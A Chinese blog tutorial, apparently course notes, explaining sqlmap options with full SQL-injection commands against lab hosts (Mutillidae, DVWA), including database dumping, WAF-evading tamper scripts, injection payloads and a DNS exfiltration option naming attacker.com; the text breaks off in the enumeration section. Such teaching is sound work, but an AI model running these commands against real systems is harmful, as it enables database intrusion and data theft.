本文记录 Kali Linux 2018.1 学习使用和渗透测试的详细过程,教程为安全牛课堂里的《Kali Linux 渗透测试》课程

Kali Linux渗透测试(苑房弘)博客记录

1. Sqlmap 简介1-1. 五种漏洞检测技术1-2. 其他特性1-3. 安装与升级1-4. 查看帮助1-5. Sqlmap 自动化注入命令简介
2. Target 目标2-1. Target2-2. GET 方法2-3. 使用 url 列表进行扫描2-4. 扫描 google 搜索结果需要翻墙2-5. POST 方法 提交表单时数据内容不会出现在 url 地址中2-6. 支持 HTTPS2-7. 配置文件
3. Requests 请求3-1. 数据段data3-2. 变量分隔符param-del3-3. cookie 头 cookie3-4. user-agent3-5. Host头host3-6. Referer头 referer3-7. 额外的headers headers3-8. method GETPOST3-9. 基于HTTP协议的身份验证3-10. auth-cert auth-file3-11. https 代理3-12. delay3-13. timeout3-14. retries3-15. randomize3-16. scope3-17. safe-url safe-freq3-18. skip-urlencode3-19. eval3-20. level 2
4. Optization 优化4-1. predict-output4-2. keep-alive4-3. null-connection4-4. threads4-5. -o 开启前三个性能参数除threads参数4-6. 从本地调用结果
5. Injection5-1. -P 指定扫描的参数使 level 默认值 1 失效5-2. skip5-3. URI注入点5-4. 指定数据库类型只用针对某种数据库的方法来进行扫描也可以指定版本5-5. os5-6. invalid-bignum invalid-logical invalid-string5-7. no-cast5-8. no-escape5-9. prefix suffix5-10. tamper
6. Detection 检查6-1. level6-2. risk6-3. stringnot-stringregexpcodetext-onlytitles
7. Techniques 技术7-1. technique默认使用全部术技7-2. time-sec7-3. union-cols7-4. union-char7-5. dns-domain7-6. second-order
8. Fingerprint 指纹信息8-1. -ffingerprint8-2. -bbanner
9. Enumeration 枚举9-1. hostname9-2. users9-3. privileges -U 用户名 CU 当前账号9-4. roles9-5. dbs -D9-6. count9-7. schema batch exclude-sysdbs 使用默认选项9-8. dump-C-T-D-startstop9-9. dump-all exclude-sysdbs9-10. sql-query select from users
10. Brute force 暴力破解10-1. common-tables10-2. common-columns Access 系统表无列信息
11. User-defined function injection 用户定义功能注入11-1. udf-inject shared-lib
12. File system access 文件系统访问12-1. file-readetcpasswd12-2. file-writeshellphp file-dest tmpshellphp
13. Operating system access 操作系统访问13-1. os-cmd13-2. sql-shell13-3. os-shell
14. Windows registry access Windows 注册表访问
15. General 一般操作15-1. -s 指定sqlite会话文是件保存位置15-2. -t 指定记录流量文件保存位置15-3. charset 盲注字符集15-4. crawl 从起始位置爬站深度15-5. csv-del 指定其他分隔符 dump数据默认存于分割的CSV文件中15-6. encoding指定字符编码15-7. flush-session 清空会话 清空本地查询的保存结果15-8. force-ssl指定使用 ssl 加密15-9. fresh-queries 忽略 session 文件内的查询结 果15-10. hex dump非ASCI字符内容时将其编码为16进制形式收到后解码还原15-11. output-dir指定输出目录默认optput15-12. parse-errors 分析和现实数据库内建报错信息15-13. save 将命令保存成配置文件
16. Miscellaneous 杂项16-1. -Z 参数助记符16-2. answer16-3. identify-waf16-4. skip-waf16-5. hpp HTTP parameter pollution16-6. offline16-7. mobile16-8. dependencies16-9. smart16-10. web-root16-11. wizard16-12. purge-output

1. Sqlmap 简介


1. 五种漏洞检测技术.

  • 基于布尔的盲注检测

    • ’ and 1=1
  • 基于时间的盲注检测
    • ’ and (select * from (select(sleep(20)))a)–+
  • 基于错误的检测
  • 基于UNION联合查询的检测
    • 适用于通过循环直接输出联合查询结果,否则只显示第一项结果
  • 基于堆叠查询的检测
    • ;堆叠多个查询语句
    • 适用于非select的数据修改、删除的操作

2. 其他特性

  • 数据库直接连接-d

    • 不通过SQL注入,制定身份认证信息、P、端口
  • 与burpsuite、google结合使用,支持正则表达式限定测试目标
  • Get、post、cookie、Referer、UserAgent (随机或指定)
    • Cookie过期后自动处理Set-Cookie头,更新cookie信息
  • 限速: 最大并发、延迟发送
  • 支持Basic,Digest,NTLM,CA身份认证
  • 数据库版本、用户、权限、hash枚举和字典破解、暴力破解表列名称
  • 文件上传下载、UDF、启动并执行存储过程、操作系统命令执行、访问windows注册表
  • 与w3af、metasploit集成结合使用,基于数据库服务进程提权和上传执行后门
  • 支持的数据库管理系统DBMS
    • MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,IBM DB2,SQLite,Firebird,Sybase,SAP MaxDB

3. 安装与升级

  • 基于python2.7 开发
  • kali2.0 安装
    apt-get install git
    git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
  • kali2.0 升级
    sqlmap -update 在线
    git pull 离线
    Kali集成版随kali库更新
  • kali linux 2017.1 升级
    root@attacker:~# apt-get install sqlmap

4. 查看帮助

root@attacker:~# sqlmap --version1.2.3#stable
root@attacker:~# sqlmap -h
root@kali:~# sqlmap -hh
Options:TargetRequestOptimizationInjectionDetectionTechniquesFingerprintEnumerationBrute forceUser-defined function injectionFile system accessOperating system accessWindows registry accessGeneralMiscellaneous

5. Sqlmap 自动化注入命令简介

查看帮助:sqlmap -h / -hh
查看版本:sqlmap --version / -v
常用参数:sqlmap -d "mysql://user:password@192.168.20.10:3306/dvwa" -f --users--banner --dbs --schema -a
日志:.sqlmap
输出:输出内容详细度分7个等级

2. Target 目标


1. Target:

At least one of these options has to be provided to define the
target(s)-d DIRECT           Connection string for direct database connection
-u URL, --url=URL   Target URL (e.g. "http://www.site.com/vuln.php?id=1")
-l LOGFILE          Parse target(s) from Burp or WebScarab proxy log file
-x SITEMAPURL       Parse target(s) from remote sitemap(.xml) file
-m BULKFILE         Scan multiple targets given in a textual file
-r REQUESTFILE      Load HTTP request from a file
-g GOOGLEDORK       Process Google dork results as target URLs
-c CONFIGFILE       Load options from a configuration INI file

2. GET 方法

由于 dvwa 需要登录账密,所以打开 Metasploitabe2-Linux,网址 http://10.10.10.132/mutillidae/
  • 查看 OWASP Top 10 的第一个的 sql 注入漏洞页面,随便输入账号和密码获取链接

    http://10.10.10.132/mutillidae/index.php?page=user-info.php
    

    # 变成
    http://10.10.10.132/mutillidae/index.php?page=user-info.php&username=admin&password=password&user-info-php-submit-button=View+Account+Details
    

  • 使用 sqlmap 扫描这个链接

    # -p 指定想要检查的变量
    # -f 指定查询系统指纹信息
    root@attacker:~# sqlmap -u "http://10.10.10.132/mutillidae/index.php?page=user-info.php&username=admin&password=password&user-info-php-submit-button=View+Account+Details"  -p username
    


    查询结果被放在 /root/.sqlmap/output/10.10.10.132
    

  • 针对用户列表查询

    root@attacker:~# sqlmap -u "http://10.10.10.254/mutillidae/index.php?page=user-info.php&username=admin&password=password&user-info-php-submit-button=View+Account+Details" -p username --users
    

  • 针对版本信息查询(MySQL版本):

    root@attacker:~# sqlmap -u "http://10.10.10.254/mutillidae/index.php?page=user-info.php&username=admin&password=password&user-info-php-submit-button=View+Account+Details" -p username --banner
    

  • 针对数据库信息查询(查询有哪些库):

    root@attacker:~# sqlmap -u "http://10.10.10.254/mutillidae/index.php?page=user-info.php&username=admin&password=password&user-info-php-submit-button=View+Account+Details" -p username --dbs
    

  • 针对元数据进行查询:

    root@attacker:~# sqlmap -u "http://10.10.10.254/mutillidae/index.php?page=user-info.php&username=admin&password=password&user-info-php-submit-button=View+Account+Details" -p username --schema
    

  • 查询所有的信息:

    root@attacker:~# sqlmap -u "http://10.10.10.254/mutillidae/index.php?page=user-info.php&username=admin&password=password&user-info-php-submit-button=View+Account+Details" -p username -a
    

  • 直接连接数据库进行查询示例:

    # sqlmap -d "mysql://user:password@192.168.20.10:3306/dvwa" -f --users
    root@kali:~# sqlmap -d "mysql://root:@10.10.10.132:3306/dvwa" -f --users
    root@kali:~# sqlmap -d "mysql://root:@10.10.10.132:3306/dvwa" -f --users --banner --dbs --schema
    root@kali:~# sqlmap -d "mysql://root:@10.10.10.132:3306/dvwa" -f -a
    

3. 使用 url 列表进行扫描

root@attacker:~# vim list.txthttp://10.10.10.254/mutillidae/index.php?page=user-info.php&username=admin&password=password&user-info-php-submit-button=View+Account+Details
root@attacker:~# sqlmap -m list.txt
root@attacker:~# sqlmap -m list.txt --dbs

4. 扫描 google 搜索结果(需要翻墙)

sqlmap -g "inurl:\".php?id=1\""

5. POST 方法 (提交表单时,数据内容不会出现在 url 地址中)

# 提交表单时,当请求的用户名和密码提交之后未出现在 URL 中是,可以判定是 POST 方法

  1. 使用http请求文件(burpsuite)

    # 打开 http://10.10.10.132/mutillidae/ 找到 sql 注入的第二个页面 http://10.10.10.254/mutillidae/index.php?page=login.php
    # 提交表单时,数据内容不会出现在 url 地址中,判定为 post 方法
    
    • 使用 burpsuite 的 proxy


      burpsuite 捕获数据包头,复制并保存至 /root/post.txt

    • 读取请求文件,查询数据库信息

      root@attacker:~# sqlmap -r post.txt –dbs

  2. 使用burpsuite log文件

    # 打开 burpsuite 的 Project options 选项卡的 Misc ,勾选 Logging 的 Proxy 的 Requests ,选择日志保存路径,关闭截断代理,浏览器登录表单
    

    # 浏览器重新提交请求
    

    # 查看日志内容
    

    # 使用 sqlmap 进行扫描
    root@attacker:~# sqlmap -l log.txt
    root@attacker:~# sqlmap -l log.txt -p username
    # 结果显示有的 URL 含有注入漏洞
    

6. 支持 HTTPS

sqlmap -u "https://1.1.1.1/a.php?id=1:8843" --force-ssl

7. 配置文件

# 默认配置文件放置位置
root@kali:~# dpkg -L sqlmap | grep sqlmap.conf /etc/sqlmap/sqlmap.conf/usr/share/doc/sqlmap/examples/sqlmap.conf.gz# 扫描时指定配置文件
sqlmap -c sqlmap.conf

3. Requests 请求

Request:These options can be used to specify how to connect to the target URL--method=METHOD     Force usage of given HTTP method (e.g. PUT)--data=DATA         Data string to be sent through POST--param-del=PARA..  Character used for splitting parameter values--cookie=COOKIE     HTTP Cookie header value--cookie-del=COO..  Character used for splitting cookie values--load-cookies=L..  File containing cookies in Netscape/wget format--drop-set-cookie   Ignore Set-Cookie header from response--user-agent=AGENT  HTTP User-Agent header value--random-agent      Use randomly selected HTTP User-Agent header value--host=HOST         HTTP Host header value--referer=REFERER   HTTP Referer header value-H HEADER, --hea..  Extra header (e.g. "X-Forwarded-For: 127.0.0.1")--headers=HEADERS   Extra headers (e.g. "Accept-Language: fr\nETag: 123")--auth-type=AUTH..  HTTP authentication type (Basic, Digest, NTLM or PKI)--auth-cred=AUTH..  HTTP authentication credentials (name:password)--auth-file=AUTH..  HTTP authentication PEM cert/private key file--ignore-code=IG..  Ignore HTTP error code (e.g. 401)--ignore-proxy      Ignore system default proxy settings--ignore-redirects  Ignore redirection attempts--ignore-timeouts   Ignore connection timeouts--proxy=PROXY       Use a proxy to connect to the target URL--proxy-cred=PRO..  Proxy authentication credentials (name:password)--proxy-file=PRO..  Load proxy list from a file--tor               Use Tor anonymity network--tor-port=TORPORT  Set Tor proxy port other than default--tor-type=TORTYPE  Set Tor proxy type (HTTP, SOCKS4 or SOCKS5 (default))--check-tor         Check to see if Tor is used properly--delay=DELAY       Delay in seconds between each HTTP request--timeout=TIMEOUT   Seconds to wait before timeout connection (default 30)--retries=RETRIES   Retries when the connection timeouts (default 3)--randomize=RPARAM  Randomly change value for given parameter(s)--safe-url=SAFEURL  URL address to visit frequently during testing--safe-post=SAFE..  POST data to send to a safe URL--safe-req=SAFER..  Load safe HTTP request from a file--safe-freq=SAFE..  Test requests between two visits to a given safe URL--skip-urlencode    Skip URL encoding of payload data--csrf-token=CSR..  Parameter used to hold anti-CSRF token--csrf-url=CSRFURL  URL address to visit to extract anti-CSRF token--force-ssl         Force usage of SSL/HTTPS--hpp               Use HTTP parameter pollution method--eval=EVALCODE     Evaluate provided Python code before the request (e.g."import hashlib;id2=hashlib.md5(id).hexdigest()")

1. 数据段:–data

  • get / post 都适用
  • sqlmap -u “http:// 1.1.1.1/a.php” –data=”user= 1&pass=2” -f

  • POET

    # 在 Firebug 里提取数据段,这样 SQLMAP 会自动检测数据段每个变量是否存在注入漏洞
    

    root@kali:~# sqlmap -u "http://10.10.10.132/mutillidae/index.php?page=login.php" --data="username=1&password=1&login-php-submit-button=Login" --dbs
    

  • GET

    # 将一个完整的URL拆开
    root@kali:~# sqlmap -u "http://10.10.10.132/mutillidae/index.php" --data="page=user-info.php&username=a&password=a&user-info-php-submit-button=View+Account+Details" --users
    

2. 变量分隔符:–param-del

# 将变量用分隔符进行分隔,先检查第一个,再检查第二个....
http:// 1.1.1.1/a.php?q=foo;id=1 // ; &
sqlmap -u "http://1.1.1.1/a.php " --data="q=foo;id=1" --param-del=";" -f

3. cookie 头: –cookie

# web应用需要基于cookie的身份认证
# sqlmap 会自动检查cookie中的注入点(level>=2)
# Set-Cookie / --drop-set-cookie / --cookie-del   #不更新cookie,继续使用原本的cookie
sqlmap -u"http://1.1.1.1/a.php?id=1" -cookie="a= 1;b=2"-f

cookie可以在 Firebug 中查找,使用 DVWA

http://10.10.10.132/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#

root@kali:~# sqlmap -u "http://10.10.10.132/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=f258647d71bed83d9aa022b4e9fc3a36" --dbs

# 使检查 cookie 中的注入点(level>=2)
root@kali:~# sqlmap -u "http://10.10.10.132/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=f258647d71bed83d9aa022b4e9fc3a36" --level 2 --dbs

4. –user-agent

  • 默认 user-agent

    # 默认使用的 user-agent 是: sqlmap/ 1.0-dev-xxxxxx (http://sqlmap.org)
    root@kali:~# sqlmap -u "http://10.10.10.132/dvwa/" --cookie="security=low; PHPSESSID=f258647d71bed83d9aa022b4e9fc3a36"  --dbs
    

  • –random-agent

    # 想要使用随机 user-agnet (列表中随机抽取),可以使用 --random-agent
    字典文件在:/usr/share/sqlmap/txt/user-agents.txt
    

    root@kali:~# sqlmap -u "http://10.10.10.132/dvwa/" --cookie="security=low; PHPSESSID=f258647d71bed83d9aa022b4e9fc3a36"  --random-agent --dbs
    

  • –user-agent=AAAAAAAAAAAAAAA

    root@kali:~# sqlmap -u "http://10.10.10.132/dvwa/" --cookie="security=low; PHPSESSID=f258647d71bed83d9aa022b4e9fc3a36" --user-agent=AAAAAAAAAAAAAAA --dbs
    

  • 使 sqlmap 检查 user-agent 中的注入点:level >= 3

    root@kali:~# sqlmap -u "http://10.10.10.132/dvwa/" --cookie="security=low; PHPSESSID=f258647d71bed83d9aa022b4e9fc3a36" --user-agent=AAAAAAAAAAAAAAA --level 3 --dbs
    
  • APP/WAF/IPS/IDS 过滤异常user-agent时报错

    [hh:mm:20] [ERROR] the target URL responded with an unknown HTTP status code,try to force the HTTP User-Agent header with option --USer agent or --random-agent
    

5. Host头:–host

  • 指定 host 头

    root@kali:~# sqlmap -u "http://10.10.10.132/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=f258647d71bed83d9aa022b4e9fc3a36" --host="aaaaaaaaaa" --dbs
    

  • 使 sqlmap 检查 Host 是否存在注入点,level = 5
    root@kali:~# sqlmap -u “http://10.10.10.132/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” –cookie=”security=low; PHPSESSID=f258647d71bed83d9aa022b4e9fc3a36” –host=”aaaaaaaaaa” –level 5 –users

6. Referer头: –referer

  • 指定 Referer头

    root@kali:~# sqlmap -u "http://10.10.10.132/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=f258647d71bed83d9aa022b4e9fc3a36" --referer="aaaaaaaaaa" --users
    
  • 使 sqlmap 检查 Referer头 是否存在注入点,level >= 3

    root@kali:~# sqlmap -u "http://10.10.10.132/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=f258647d71bed83d9aa022b4e9fc3a36" --referer="aaaaaaaaaa" --level 3 --users
    

7. 额外的headers: –headers

#每个头单独一行(名称区分大小写)
sqlmap -u “http://1.1.1.1/a.php?id=1” --headers="host:www.a.com\nUser-Agent:yuanfh"
  • 指定额外的 headers

    root@kali:~# sqlmap -u "http://10.10.10.132/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=f258647d71bed83d9aa022b4e9fc3a36" --headers="Host:www.aaa.com\nUser-Agent:AAAAAAAAAA" -f
    

8. –method =GET/POST

  • sqlmap 默认先尝试 GET 方法。一旦 GET 方法不行,再使用 POST 方法

  • 可以指定请求方法

    root@kali:~# sqlmap -u "http://10.10.10.132/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=f258647d71bed83d9aa022b4e9fc3a36" --headers="Host:www.aaa.com\nUser-Agent:AAAAAAAAAA"  --method=GET -f
    

9. 基于HTTP协议的身份验证

--auth-type=AUTH..  HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred=AUTH..  HTTP authentication credentials (name:password)sqlmap -u "http://1.1.1.1/a.php?id=1" --auth-type=Basic --auth-cred="user:pass"

10. –auth-cert / –auth-file

 --auth-file=AUTH..  HTTP authentication PEM cert/private key filesqlmap -u "http://1.1.1.1/a.php?id=1" --auth-file="ca.PEM"
# 含有私钥的PEM格式证书文件
# PEM格式的证书链文件

11. http(s) 代理

sqlmap -u "http://1.1.1.1/a.php?id=1"--proxy="http://127.0.0.1:8087" -f
# --proxy
--proxy=PROXY       Use a proxy to connect to the target URL
--proxy-cred=PRO..  Proxy authentication credentials (name:password)
--proxy-file=PRO..  Load proxy list from a file
# 使用方法
--proxy="http://127.0.0.1:8087"
--proxy-cred="name:pass"
--ignore-proxy   #忽略系统级代理设置,通常用于扫描本地网络目标
# 操作系统本身有代理,需要扫描本地站点时(此时不需要代理联网),就要忽略代理
--ignore-proxy      Ignore system default proxy settings

12. –delay

# 每次http(s)请求之间延迟时间,浮点数,单位为秒,默认无延迟
--delay=DELAY       Delay in seconds between each HTTP request

13. –timeout

# 请求超时时间,浮点数,默认为30秒
--timeout=TIMEOUT   Seconds to wait before timeout connection (default 30)

14. –retries

# http(s)连接超时重试次数,默认3次
--retries=RETRIES   Retries when the connection timeouts (default 3)

15. –randomize

# 长度、类型与原始值保持一致的前提下,指定每次请求随机取值的参数名
--randomize=RPARAM  Randomly change value for given parameter(s)
sqlmap -u "http://1.1.1.1/a.php?id=111" --randomize="id"
# 让 id 在保持三位数的前提下,随机取之

16. –scope

# 过滤日志内容,通过正则表达式筛选扫描对象
sqlmap -l burp.log --scope-"(www)\.target\.(com|net|org)"
sqlmap -l 2.log --scope="(19)?\.168\.20\.(1|10|100)" --level 3 --dbs
# 可发现 User-agent 中的注入点(需要 level>=3)
# log.txt 是浏览器使用 BurpSuite 的代理日志(在BurtSuite设置)

root@kali:~# sqlmap -l log.txt --scope="(10)\.10\.10\.(13)?" --level 3 --dbs
# level >=2 的时候,就会检查 cookie ,所以此时检查了cookie

17. –safe-url /–safe-freq

# 检测和盲注阶段会产生大量失败请求,服务器端可能因此销毁session
# 每发送-safe-freq次注入请求后,发送一次正常请求
--safe-post=SAFE..  POST data to send to a safe URL
--safe-req=SAFER..  Load safe HTTP request from a file
--safe-freq=SAFE..  Test requests between two visits to a given safe URL

18. –skip-urlencode

# 默认Get方法会对传输内容进行编码,某些WEB服务器不遵守RFC标准编码,使用原始字符提交数据
--skip-urlencode    Skip URL encoding of payload data

19. –eval

# 每次请求前执行指定的python代码
# 每次请求更改或增加新的参数值(时间依赖、其他参数值依赖)  http://1.1.1.1/a.php?id=1&hash=c4ca4238a0b923820dcc509a6f75849b
# 在测试 id 值的注入漏洞时,服务器端需要验证是否匹配后面的 hash 值,此时就可以使用这个 --eval
sqlmap -u "http://1.1.1.1/a.php?id=1&hash=c4ca4238a0b923820dcc509a6f75849b" --eval="importhashlib;hash=hashlib.md5(id).hexdigest()"
root@kali:~# echo "123456@qq.com" | md5sum | cut -d ' ' -f1
6ab4eb10e3e68ff45f92de98bbdfee4b# 在测试时,后面的变量值是变化的或者是基于前面的变量值的时候,都可以使用这个参数
--eval=EVALCODE Evaluate provided Python code before the request (e.g."import hashlib;id2=hashlib.md5(id).hexdigest()")

20. –level 2

扫描级别,共5级,越高扫描越详细

4. Optization 优化

Optimization:These options can be used to optimize the performance of sqlmap
-o                  Turn on all optimization switches
--predict-output    Predict common queries output
--keep-alive        Use persistent HTTP(s) connections
--null-connection   Retrieve page length without actual HTTP response body
--threads=THREADS   Max number of concurrent HTTP(s) requests (default 1)

1. –predict-output

  • 根据检测方法,比对返回值和统计表内容,不断缩小检测范围,提高检测效率
  • 对比:版本名、用户名、密码、Privileges、role、数据库名称、表名、列名
  • 与 –threads 参数不兼容
  • 统计表默认位置: /usr/share/sqlmap/txt/common-outputs.txt

2. –keep-alive

  • 使用 http(s) 长连接,性能好
  • 与 –proxy 参数不兼容
  • 长连接避免重复建立连接的网络开销,但大量长连接会严重占用服务器资源(节省网络开销,但是会占用服务器资源,防止重复建立连接时被服务器端检测发现)

3. –null-connection

  • 只获取相应页面的大小值,而非页面具体内容
  • 通常用于盲注判断真/假,降低网络带宽消耗
  • 与 –text-only 参数不兼容(基于页面内容的比较判断真/假)

4. –threads

  • 最大并发线程,默认是 1
  • 盲注时每个线程获取一个字符(7次请求),获取完成后线程结束
  • 每个连接的线程里都访问7次请求,7次请求(7位二进制位)就可以确定一个十进制值,每个线程只获取一个十进制数
  • 默认值为1,建议不要超过1O,否则可能影响站点可用性(被服务器端检测到)
  • 与 –predict-output 参数不兼容

5. -o 开启前三个性能参数(除–threads参数)

6. 从本地调用结果

- sqlmap 在第一次向服务器执行查询请请求后,会将结果保存至本地,之后执行同样的查询请求时,会直接从本地文件调用并返回结果
- 位置:/root/.sqlmap/output/

5. Injection

Injection:These options can be used to specify which parameters to test for,provide custom injection payloads and optional tampering scripts-p TESTPARAMETER    Testable parameter(s)--skip=SKIP         Skip testing for given parameter(s)--skip-static       Skip testing parameters that not appear to be dynamic--param-exclude=..  Regexp to exclude parameters from testing (e.g. "ses")--dbms=DBMS         Force back-end DBMS to this value--dbms-cred=DBMS..  DBMS authentication credentials (user:password)--os=OS             Force back-end DBMS operating system to this value--invalid-bignum    Use big numbers for invalidating values--invalid-logical   Use logical operations for invalidating values--invalid-string    Use random strings for invalidating values--no-cast           Turn off payload casting mechanism--no-escape         Turn off string escaping mechanism--prefix=PREFIX     Injection payload prefix string--suffix=SUFFIX     Injection payload suffix string--tamper=TAMPER     Use given script(s) for tampering injection data

1. -P 指定扫描的参数,使 –level 默认值 1 失效

# -p "user-agent,referer"
# 使用 10.10.10.132 的 multillidae 的sql注入第一个(GET方法),提交表单
http://10.10.10.132/mutillidae/index.php?page=user-info.php&username=a&password=a&user-info-php-submit-button=View+Account+Details
root@kali:~# sqlmap -u "http://10.10.10.132/mutillidae/index.php?page=user-info.php&username=a&password=a&user-info-php-submit-button=View+Account+Details" -p "user-agent,username" --dbs

2. –skip

--skip=SKIP         Skip testing for given parameter(s)
--skip-static       Skip testing parameters that not appear to be dynamic
--param-exclude=..  Regexp to exclude parameters from testing (e.g. "ses")
# 排除指定的扫描参数
--level=5 --skip="id,user-agent"

3. URI注入点

# 有形如目录的连接,sqlmap是无法自动识别的,可以手动在变量值后面加上一个*号
# URL 和 URN 都属于 URI
sqlmap -u "http://targeturl/param1/value1*/param2/value2*/"

4. 指定数据库类型,只用针对某种数据库的方法来进行扫描,也可以指定版本

--dbms=DBMS         Force back-end DBMS to this value
--dbms-cred=DBMS..  DBMS authentication credentials (user:password)
# 使用
--dbms=“mysql”MySQL <5.0>Oracle <11i>Microsoft SQL Server <2005>PostgreSQLMicrosoft AccessSQLiteFirebirdsybasesAP MaxDBDB2root@attacker:~# sqlmap -u "http://10.10.10.132/mutillidae/index.php?page=user-info.php&username=1&password=1&user-info-php-submit-button=View+Account+Details" --dbms="mysql"

5. –os

--os=OS             Force back-end DBMS operating system to this value
Linux
Windows

6. –invalid-bignum / –invalid-logical / –invalid-string

--invalid-bignum    Use big numbers for invalidating values
--invalid-logical   Use logical operations for invalidating values
--invalid-string    Use random strings for invalidating values# 通常 sqlmap 使用负值使参数取值失效。 id=13,使其失效: id=-13
--invalid-bignum 使用大数使参数值失效。id=13,使其失效:id= 999999999
--invalid-logical 使用布尔判断取值使其失效id=13。id=13,使其失效:AND 18=19
--invalid-string  使用随机字符串使其失效。

7. –no-cast

--no-cast           Turn off payload casting mechanism
# 榨取数据时,sqlmap 将所有结果转换为字符串,并用空格替换 NULL 结果
# 老版本 mysql 数据库需要开启此开关

8. –no-escape

# 出于混淆和避免出错的目的,在 payload 中用单引号界定字符串时,sqlmap 默认使用 char() 编码逃逸的方法替换字符串,躲避检查
SELECT 'foo' -> SELECT CHAR(102)+CHAR(111)+CHAR(111)
# 本参数将关闭此功能

9. –prefix / –suffix

--prefix=PREFIX     Injection payload prefix string
--suffix=SUFFIX     Injection payload suffix string
# 有些情况下,需要添加 pyload 前缀和 pyload 后缀,才能注入成功
  • $query = “SELECT * FROM users WHERE id=() LIMIT O,1”;

    有些情况,在注入 “.$_GET[id’].” 时,把前面的单引号闭合之后,同时把后面的注释之后,会出错,此时就需要添加前缀和后缀以保证后面部分的sql语句也能用

  • 基于上述的举例,将<’”.$_GET[‘id’].”’>进行替换:sqlmap -u “http://1.1.1.1/sqlmap/mysql/get_str_brackets.php?id=1” -p id –prefix=”)” –suffix=”AND (‘abc’=’abc”

  • 拼合结果:$query = “SELECT * FROM users WHERE id=(‘1’) AND (‘abc’=’abc’) LIMIT O,1”;

10. –tamper

--tamper=TAMPER     Use given script(s) for tampering injection data
  • 混淆脚本,用于绕过应用层过滤、IPS、WAF
  • sqlmap -u “http://1.1.1.1/a.php?id=l” –tamper=”between.py,randomcase.py,space2comment.py” -v 3
  • 绕过 WAF 的脚本:
    root@attacker:~# dpkg -L sqlmap | grep tamper
    # 针对不同的服务器,使用的脚本不一样

    root@kali:~# sqlmap -u "http://10.10.10.132/mutillidae/index.php?page=user-info.php&username=1&password=1&user-info-php-submit-button=View+Account+Details" -p "user-agent,username" --tamper="between.py,randomcase.py,space2comment.py" -v 3 --users
    

6.Detection 检查

Detection:These options can be used to customize the detection phase--level=LEVEL       Level of tests to perform (1-5, default 1)--risk=RISK         Risk of tests to perform (1-3, default 1)--string=STRING     String to match when query is evaluated to True--not-string=NOT..  String to match when query is evaluated to False--regexp=REGEXP     Regexp to match when query is evaluated to True--code=CODE         HTTP code to match when query is evaluated to True--text-only         Compare pages based only on the textual content--titles            Compare pages based only on their titles

1. –level

  • 1-5级 (默认1)
  • payloads 文件:/usr/share/sqlmap/xml/payloads/

    root@attacker:~# cd /usr/share/sqlmap/xml/payloads/
    root@attacker:/usr/share/sqlmap/xml/payloads# lsboolean_blind.xml  error_based.xml  inline_query.xml  stacked_queries.xml  time_blind.xml  union_query.xml
    

2. –risk

--risk=RISK         Risk of tests to perform (1-3, default 1)
  • 1-3(默认1/无害,值越高风险越大)
  • Risk升高可造成数据被篡改等风险(update)

3. –string,–not-string,–regexp,–code,–text-only,–titles

  • 页面比较,基于布尔的注入检测,依据返回页面内容的变化判断真假逻辑
  • 但有些页面随时间阈值变化,此时需要人为指定标识真假的字符串

7.Techniques 技术

Techniques:These options can be used to tweak testing of specific SQL injectiontechniques--technique=TECH    SQL injection techniques to use (default "BEUSTQ")--time-sec=TIMESEC  Seconds to delay the DBMS response (default 5)--union-cols=UCOLS  Range of columns to test for UNION query SQL injection--union-char=UCHAR  Character to use for bruteforcing number of columns--union-from=UFROM  Table to use in FROM part of UNION query SQL injection--dns-domain=DNS..  Domain name used for DNS exfiltration attack--second-order=S..  Resulting page URL searched for second-order response

1. –technique:默认使用全部术技

--technique=TECH    SQL injection techniques to use (default "BEUSTQ")
B: Boolean-based blind
E: Error-based
U: Union query-based
s: Stacked queries (检查文件系统、操作系统、注册表必须使用的)
T: Time-based blind

2. –time-sec

  • 基于时间的注入检测相应延迟时间(默认5秒)

3. –union-cols

  • 默认联合查询1-10列,随 –level 增加最多支持50列
  • 例如:–union-cols 6-9

4. –union-char

  • 联合查询默认使用 NULL, 极端情况下 NULL 可能失败,此时可以手动指定数值
  • 例如:–union-char 123

5. –dns-domain

  • 攻击者控制了某DNS服务器,使用此功能可以提高数据榨取的速度
  • 例如:–dns-domain attacker.com

6. –second-order

  • 在一个页面注入的结果,从另一个页面体现出来
  • 例如:–second-order http:// 1.1.1.1/b.php

8.Fingerprint 指纹信息

Fingerprint:-f, --fingerprint   Perform an extensive DBMS version fingerprint

1. -f,–fingerprint

  • 指纹信息

2. -b,–banner

  • 数据库管理系统指纹信息
  • DBMS,操作系统,架构,补丁

9. Enumeration 枚举

Enumeration:These options can be used to enumerate the back-end databasemanagement system information, structure and data contained in thetables. Moreover you can run your own SQL statements-a, --all           Retrieve everything-b, --banner        Retrieve DBMS banner--current-user      Retrieve DBMS current user--current-db        Retrieve DBMS current database--hostname          Retrieve DBMS server hostname--is-dba            Detect if the DBMS current user is DBA--users             Enumerate DBMS users--passwords         Enumerate DBMS users password hashes--privileges        Enumerate DBMS users privileges--roles             Enumerate DBMS users roles--dbs               Enumerate DBMS databases--tables            Enumerate DBMS database tables--columns           Enumerate DBMS database table columns--schema            Enumerate DBMS schema--count             Retrieve number of entries for table(s)--dump              Dump DBMS database table entries--dump-all          Dump all DBMS databases tables entries--search            Search column(s), table(s) and/or database name(s)--comments          Retrieve DBMS comments-D DB               DBMS database to enumerate-T TBL              DBMS database table(s) to enumerate-C COL              DBMS database table column(s) to enumerate-X EXCLUDE          DBMS database identifier(s) to not enumerate-U USER             DBMS user to enumerate--exclude-sysdbs    Exclude DBMS system databases when enumerating tables--pivot-column=P..  Pivot column name--where=DUMPWHERE   Use WHERE condition while table dumping--start=LIMITSTART  First dump table entry to retrieve--stop=LIMITSTOP    Last dump table entry to retrieve--first=FIRSTCHAR   First query output word character to retrieve--last=LASTCHAR     Last query output word character to retrieve--sql-query=QUERY   SQL statement to be 